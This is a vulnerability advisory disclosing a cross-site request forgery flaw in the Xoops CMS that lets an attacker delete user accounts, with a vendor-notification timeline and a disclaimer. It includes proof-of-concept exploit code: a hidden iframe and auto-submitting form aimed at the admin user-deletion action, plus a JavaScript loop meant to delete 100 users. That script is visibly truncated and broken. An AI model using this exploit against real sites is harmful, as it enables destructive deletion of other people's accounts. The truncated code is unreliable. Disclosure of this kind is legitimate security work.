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Xoops CSRF - Arbitrary User Deletions[+] Credits: John Page aka hyp3rlinx 

[+] Website:

[+] Source:



Vulnerability Type:
CSRF - Arbitrary User Deletions

Vulnerability Details:

Xoops has CSRF vulnerability where remote attackers can delete ALL users from the Xoops database.


Exploit Codes:

Following CSRF attack delete all users from database, following POC code will sequentially delete 100 users from the Xoops application.

<iframe name="ifrm" style="display:none" name="hidden-form"></iframe>

<form target="ifrm" name='memberslist' id='CSRF' action='http://localhost/xoops-' method='POST'>
<input type="hidden" id="ids" name="memberslist_id[]" />           
<input type="hidden" name="fct" value="users" />
<input type="hidden" name="edit_group" value="" />
<input type="hidden" name="selgroups" value="" />
<input type="hidden" name="op" value="users_add_delete_group" />
<input type="hidden" name="op" value="action_group" />
<input type="hidden" name="Submit" value="Submit+Query" />

var c=-1
var amttodelete=100
var id=document.getElementById("ids")
var frm=document.getElementById("CSRF")
function doit(){
var si=setInterval(doit, 1000, frm, id)

Disclosure Date:
Jan 29, 2016: Vendor Notification
Vendor confirms and patches Xoops
March 17, 2016 : Public Disclosure


[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (c) hyp3rlinx.

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